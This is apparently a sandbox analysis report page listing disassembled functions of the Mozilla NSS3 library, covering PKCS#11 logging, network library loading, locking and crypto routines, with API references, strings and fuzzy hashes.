Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: 71123786d5721cbf3cf15e4a00da568d362e82bf8101ddd279a430470892ce41
Instruction ID: 816c4777bf0868aae85614bc2e5fdca01ba195f2470c8fbb593d8b789fd04ec4
Opcode Fuzzy Hash: 71123786d5721cbf3cf15e4a00da568d362e82bf8101ddd279a430470892ce41
Instruction Fuzzy Hash: E2410630605124AFEB01DF55FC48FAA7BB9AB4234DF084025F60D5BA61E739A94CCBB1

Function 6CC34CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CC34CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC34D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC34D37

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC34D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CC34D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC34D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CC34DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CC34DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CC34E20

Strings

*pulSize = 0x%x, xrefs: 6CC34E1B
C_GetObjectSize, xrefs: 6CC34CEE
hObject = 0x%x, xrefs: 6CC34D65, 6CC34D75
(CK_INVALID_HANDLE), xrefs: 6CC34D30, 6CC34D83
hSession = 0x%x, xrefs: 6CC34D12, 6CC34D22
pulSize = 0x%p, xrefs: 6CC34DB7

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: ed90fbb9e3d6a146ee57dbb46c37f25a3f242f4814e79c4d7fab449395b855c4
Instruction ID: 2db316b8fbe2f13343940273059cf5afe26edeafb63a1bb422f06840e8393260
Opcode Fuzzy Hash: ed90fbb9e3d6a146ee57dbb46c37f25a3f242f4814e79c4d7fab449395b855c4
Instruction Fuzzy Hash: 4941C671604124AFF701DB15FC88F6A7BB9AB4234DF045065F60D5BA61E7399848CBB1

Function 6CC37C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6CC37CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC37CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC37CF3

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC37D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CC37D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CC37D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CC37D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CC37D77

Strings

ulSignatureLen = %d, xrefs: 6CC37D72
C_Verify, xrefs: 6CC37CB1
ulDataLen = %d, xrefs: 6CC37D40
(CK_INVALID_HANDLE), xrefs: 6CC37CEC
hSession = 0x%x, xrefs: 6CC37CCE, 6CC37CDE
pSignature = 0x%p, xrefs: 6CC37D59
pData = 0x%p, xrefs: 6CC37D25

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: ddf1f0eb1e97d571de507614a1381644db89aeff8cb4bf9770aee1012b95e67d
Instruction ID: b16a38d9eae9d1554b998703c03b1a1d9dfaeeb8321ed869ad4636a17130b8f0
Opcode Fuzzy Hash: ddf1f0eb1e97d571de507614a1381644db89aeff8cb4bf9770aee1012b95e67d
Instruction Fuzzy Hash: 4731D331601154EFEB01DF55FE48EAA3BB9AB4235DF084065F60D5BA21EB389818DBB1

Function 6CC32F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6CC32F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC32F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC32F63

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC32F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6CC32F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6CC32FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6CC32FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6CC32FE7

Strings

C_SetPIN, xrefs: 6CC32F21
ulOldLen = %d, xrefs: 6CC32FB0
(CK_INVALID_HANDLE), xrefs: 6CC32F5C
pNewPin = 0x%p, xrefs: 6CC32FC9
ulNewLen = %d, xrefs: 6CC32FE2
pOldPin = 0x%p, xrefs: 6CC32F95
hSession = 0x%x, xrefs: 6CC32F3E, 6CC32F4E

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: b2455ca67ef5d8646cbf9a6d92a6163e2d888605d219ff62697fe496a52c0975
Instruction ID: 854088333bd9d04c455777b175114b63b296426a50171e1e945160412ca4faf4
Opcode Fuzzy Hash: b2455ca67ef5d8646cbf9a6d92a6163e2d888605d219ff62697fe496a52c0975
Instruction Fuzzy Hash: A5310531605164AFEF01DF15EC48E6A37B9EB4638DF084015FA0CA7A22E7389809CBF1

Function 6CCCCD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CCCCC7B), ref: 6CCCCD7A

Part of subcall function 6CCCCE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CC3C1A8,?), ref: 6CCCCE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CCCCDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CCCCDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CCCCDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CCCCD8E

Part of subcall function 6CBF05C0: PR_EnterMonitor.NSS3 ref: 6CBF05D1
Part of subcall function 6CBF05C0: PR_ExitMonitor.NSS3 ref: 6CBF05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CCCCDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CCCCDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CCCCE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CCCCE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CCCCE48

Strings

getaddrinfo, xrefs: 6CCCCD88, 6CCCCDF9
getnameinfo, xrefs: 6CCCCDB2, 6CCCCE23
wship6.dll, xrefs: 6CCCCDE3
ws2_32.dll, xrefs: 6CCCCD75
freeaddrinfo, xrefs: 6CCCCD9F, 6CCCCE10

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: c9056ff9c27121f3d3ec0f639a2368241cc4bcb36ae4f05fe3944f1ed69e8002
Instruction ID: 9a0c326c9005d82ae5115d2b1621091d3a1014b22b9c119c4f0a188b6e66afb4
Opcode Fuzzy Hash: c9056ff9c27121f3d3ec0f639a2368241cc4bcb36ae4f05fe3944f1ed69e8002
Instruction Fuzzy Hash: 4911B4E9F0256126FB01ABB66C00AAE385C6B0320CF185579E919D5F60FB20C90EC7F3

Function 6CD11C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CD113BC,?,?,?,6CD11193), ref: 6CD11C6B
PR_NewLock.NSS3(?,6CD11193), ref: 6CD11C7E

Part of subcall function 6CCC98D0: calloc.MOZGLUE(00000001,00000084,6CBF0936,00000001,?,6CBF102C), ref: 6CCC98E5

PR_NewCondVar.NSS3(00000000,?,6CD11193), ref: 6CD11C91

Part of subcall function 6CBEBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CBF21BC), ref: 6CBEBB8C

PR_NewCondVar.NSS3(00000000,?,?,6CD11193), ref: 6CD11CA7

Part of subcall function 6CBEBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBEBBEB
Part of subcall function 6CBEBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CBEBBFB
Part of subcall function 6CBEBB80: GetLastError.KERNEL32 ref: 6CBEBC03
Part of subcall function 6CBEBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CBEBC19
Part of subcall function 6CBEBB80: free.MOZGLUE(00000000), ref: 6CBEBC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CD11193), ref: 6CD11CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CD11193), ref: 6CD11CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CD11193), ref: 6CD11CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CD11193), ref: 6CD11D1A

Part of subcall function 6CCC9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CBF1A48), ref: 6CCC9BB3
Part of subcall function 6CCC9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CBF1A48), ref: 6CCC9BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CD11193), ref: 6CD11D3D

Part of subcall function 6CCADD70: TlsGetValue.KERNEL32 ref: 6CCADD8C
Part of subcall function 6CCADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCADDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CD11193), ref: 6CD11D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CD11193), ref: 6CD11D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CD11193), ref: 6CD11D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CD11193), ref: 6CD11D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CD11193), ref: 6CD11D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CD11193), ref: 6CD11D93
PR_DestroyLock.NSS3(00000000,?,?,6CD11193), ref: 6CD11D9F
free.MOZGLUE(00000000,?,6CD11193), ref: 6CD11DA8

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: dc3e7db4f88432b237116d4ab1e42998bb2983a7480321ced08603736ccca1db
Instruction ID: 22b5eeaaf8a6de73b5136ec498213a6e2d677f3d710298bf6e52b6362f42b629
Opcode Fuzzy Hash: dc3e7db4f88432b237116d4ab1e42998bb2983a7480321ced08603736ccca1db
Instruction Fuzzy Hash: 3331E6F5E007419FEB209F65AC41A6B7AF8AF1564CF044438E94A87F11FB31E418CBA2

Function 6CC65CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CC65EC0,00000000,?,?), ref: 6CC65CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CC65CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CC65CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CC65D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CC65EC0,00000000,?,?), ref: 6CC65D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CC65D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC65D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC65D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CC65D80

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6CC65D1A
extern:, xrefs: 6CC65CEA, 6CC65D4B
dbm:, xrefs: 6CC65D03, 6CC65D60
multiaccess:, xrefs: 6CC65CB8
sql:, xrefs: 6CC65CD1, 6CC65D36

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: acfe5ff4ff71fa1cbd30b1d7c8f0420fe5a2853fb4a5969ae2cc418e29562fff
Instruction ID: a8b4cc7367d3f5a438aec8144c4d850c6b01769f8884b5d2b4286246aae25d28
Opcode Fuzzy Hash: acfe5ff4ff71fa1cbd30b1d7c8f0420fe5a2853fb4a5969ae2cc418e29562fff
Instruction Fuzzy Hash: 1B31E0E0B423416BF7012B26CF88B66376CAF0624DF350460EE95A6EC3FA61D519C295

Function 6CC66CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CD31DE0,?), ref: 6CC66CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC66D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CC66D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CC66D82
DER_GetInteger_Util.NSS3(?), ref: 6CC66DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC66DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CC66E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CC66F19
PK11_DigestBegin.NSS3(00000000), ref: 6CC66F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CC66F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC67011
PK11_FreeSymKey.NSS3(00000000), ref: 6CC67033
free.MOZGLUE(?), ref: 6CC6703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CC67060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CC67087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CC670AF

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 5ca550393f682588f557a7628b99fc190fbd9d4f06f08b80bce8ebf17da079cc
Instruction ID: 32d6bfcb731e65c83f02efd14ac0fa1bd6286b0b728012edbbb8da68e799ae7b
Opcode Fuzzy Hash: 5ca550393f682588f557a7628b99fc190fbd9d4f06f08b80bce8ebf17da079cc
Instruction Fuzzy Hash: 1AA118719086009BEB008F26CED5B6A32E4EB8130CF248939E959DBF81F775D859C793

Function 6CC2AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CC0AB95,00000000,?,00000000,00000000,00000000), ref: 6CC2AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CC0AB95,00000000,?,00000000,00000000,00000000), ref: 6CC2AF39
PR_Unlock.NSS3(?,?,?,6CC0AB95,00000000,?,00000000,00000000,00000000), ref: 6CC2AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CC0AB95,00000000,?,00000000,00000000,00000000), ref: 6CC2AF69
TlsGetValue.KERNEL32 ref: 6CC2B06B
EnterCriticalSection.KERNEL32(?), ref: 6CC2B083
PR_Unlock.NSS3(?), ref: 6CC2B0A4
TlsGetValue.KERNEL32 ref: 6CC2B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CC2B0D9
PR_Unlock.NSS3 ref: 6CC2B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC2B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC2B182

Part of subcall function 6CC5FAB0: free.MOZGLUE(?,-00000001,?,?,6CBFF673,00000000,00000000), ref: 6CC5FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CC2B177

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CC0AB95,00000000,?,00000000,00000000,00000000), ref: 6CC2B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CC0AB95,00000000,?,00000000,00000000,00000000), ref: 6CC2B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CC0AB95,00000000,?,00000000,00000000,00000000), ref: 6CC2B1C2

Part of subcall function 6CC51560: TlsGetValue.KERNEL32(00000000,?,6CC20844,?), ref: 6CC5157A
Part of subcall function 6CC51560: EnterCriticalSection.KERNEL32(?,?,?,6CC20844,?), ref: 6CC5158F
Part of subcall function 6CC51560: PR_Unlock.NSS3(?,?,?,?,6CC20844,?), ref: 6CC515B2

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: d018a9889a4fe2fab3256033757b609ffb6e7e045b2f0c3b4fd64946bd517dd8
Instruction ID: 7ffac6682d207fc19838d3f0784c791c54727eb8a227805ec05284b4f28ded52
Opcode Fuzzy Hash: d018a9889a4fe2fab3256033757b609ffb6e7e045b2f0c3b4fd64946bd517dd8
Instruction Fuzzy Hash: 21A1CFB1D002069FEF009FA4DC41BEAB7B4BF48308F144125E909A7B51F735E999CBA1

Function 6CC7AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC7ADB1

Part of subcall function 6CC5BE30: SECOID_FindOID_Util.NSS3(6CC1311B,00000000,?,6CC1311B,?), ref: 6CC5BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CC7ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CC7AE08

Part of subcall function 6CC5B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD318D0,?), ref: 6CC5B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC7AE25
PL_FreeArenaPool.NSS3 ref: 6CC7AE63
PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC7AE4D

Part of subcall function 6CB84C70: TlsGetValue.KERNEL32(?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84C97
Part of subcall function 6CB84C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84CB0
Part of subcall function 6CB84C70: PR_Unlock.NSS3(?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC7AE93
PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC7AECC
PL_FreeArenaPool.NSS3 ref: 6CC7AEDE
PL_FinishArenaPool.NSS3 ref: 6CC7AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC7AEF5
PL_FinishArenaPool.NSS3 ref: 6CC7AF16

Strings

security, xrefs: 6CC7ADEE

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: cd219f68d5ec771b1fd89591f48795a2d1f90402fe0c157e583ec7d1e0921573
Instruction ID: a86198d2f23bb4753bd6b1a5075f177df7b055fa3347a709afbedc74f98ab37d
Opcode Fuzzy Hash: cd219f68d5ec771b1fd89591f48795a2d1f90402fe0c157e583ec7d1e0921573
Instruction Fuzzy Hash: F24107B1904200A7FB319B2A9C85BBB32A8EFC231DF541525E91496F81FB35D528C6F3

Function 6CD1AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCC9890: TlsGetValue.KERNEL32(?,?,?,6CCC97EB), ref: 6CCC989E

EnterCriticalSection.KERNEL32(?), ref: 6CD1AF88
